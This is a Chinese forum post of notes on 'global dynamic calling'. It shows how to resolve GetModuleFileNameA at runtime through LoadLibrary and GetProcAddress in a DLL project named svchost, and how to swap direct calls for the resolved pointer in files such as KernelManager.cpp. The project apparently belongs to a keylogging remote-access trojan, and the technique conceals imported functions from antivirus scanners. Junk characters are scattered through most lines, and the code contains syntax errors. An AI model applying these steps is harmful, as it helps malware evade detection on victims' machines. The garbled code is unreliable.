[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记
! y. E7 c  L3 R0 n9 {3 I7 b3 \* ~3 Usvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h  y; ^1 g! L2 R
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7 H" O$ {0 W  T' o$ s' X: [0 }DTDY.h：. R6 N$ v$ x6 f. \- u) C
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#if _MSC_VER>1000
& R& I. u- q) F  m, _3 B#pragma once
- j7 u6 A' x4 Q' A# {& L% L#endif //_MSC_VER>1000
  G/ N6 a5 T) g# b6 e' i#include<windows.h>& G, G5 K9 E% X- p2 T
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
2 X& W$ i8 A( ]+ j8 ~class DTDY
  _$ U+ o' I: N6 U- L{
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DTDY();
- a5 [4 [4 K0 Y) h. Z7 S' Z. I6 lvirtual ~DTDY();
! K1 C( z' P" j+ o6 |  ?$ Hpublic:+ v1 Q- ^7 C) X! i
static pGetModuleFileNameA MyGetModuleFileName;
, J* i1 ]1 E3 s) \* a+ W3 _static BOOL FunInitiallization();
! J( P- u; k. |% |2 o};
8 e% j3 {9 X" K' `; B#endif- G4 P: {  {! }% K! S3 m
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  L4 d, M! |# l, QDTDY.cpp:6 F& v8 S6 |# l6 t0 o, X3 {! L: b5 Z
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#include "DTDY.h"1 N# [# ^8 S' U% Z1 i7 V: t
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
, _+ i# m7 F7 |2 _# p/ xDTDY:TDY()
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}
8 |. T( g7 \, |: Q; D  q5 ?DTDY::~DTDY()! h4 D7 U5 \" U- D4 |# q
{
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6 n/ E: a% P$ S! I- S+ C/ i) H* RBOOL DTDY::FunInitiallization()( J9 K, s" i- [) w
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HMODULE hModule=LoadLibrary("kernel32.dll");
% K& q) C4 [* X+ |6 j: R& F+ Y! \MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
( O; P0 F# N, C2 E9 N& jif(!MyGetModuleFileName=) return FALSE;: _2 ?, a# Z* @* P# W6 K

7 S: e' x( d3 `3 X) f5 Freturn TRUE;4 L, ]7 \4 x' K$ u6 U/ c- v) n/ r
}
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6 z: a, ?2 k( U2 h- u8 ^svchost.cpp:& w' ?& ^. @1 N+ a( X- M' B
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#include "DTDY.h"8 \! ?: B# N" j( `% v7 I

% ~6 X8 {" M3 \0 N+ Q0 b* BBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)8 e/ R9 p+ J+ |1 ?
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switch(ul_reason_for_call)
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% l5 \- v0 \% l) ?case DLL_PROCESS_ATTACH:) ?" x5 H1 a1 v, U
if(!DTDY::FunInitiallization()) return FALSE;
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+ X# r7 Z! g7 M' bbreak;
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# j, [) }; l1 }1 G' tGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
0 h5 y9 k( p* D0 M改写为8 x* @2 o8 F% [0 ~
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));& S$ W7 e* w, M: P
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KernelManager.cpp:
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#include "../DTDY.h"
9 j8 H& S7 _/ o# z4 T" bGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
8 e! N- M9 m, e1 A改写为
* @: I9 @1 E& RDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& M5 o) @1 M* `/ W  |" E4 b' ?
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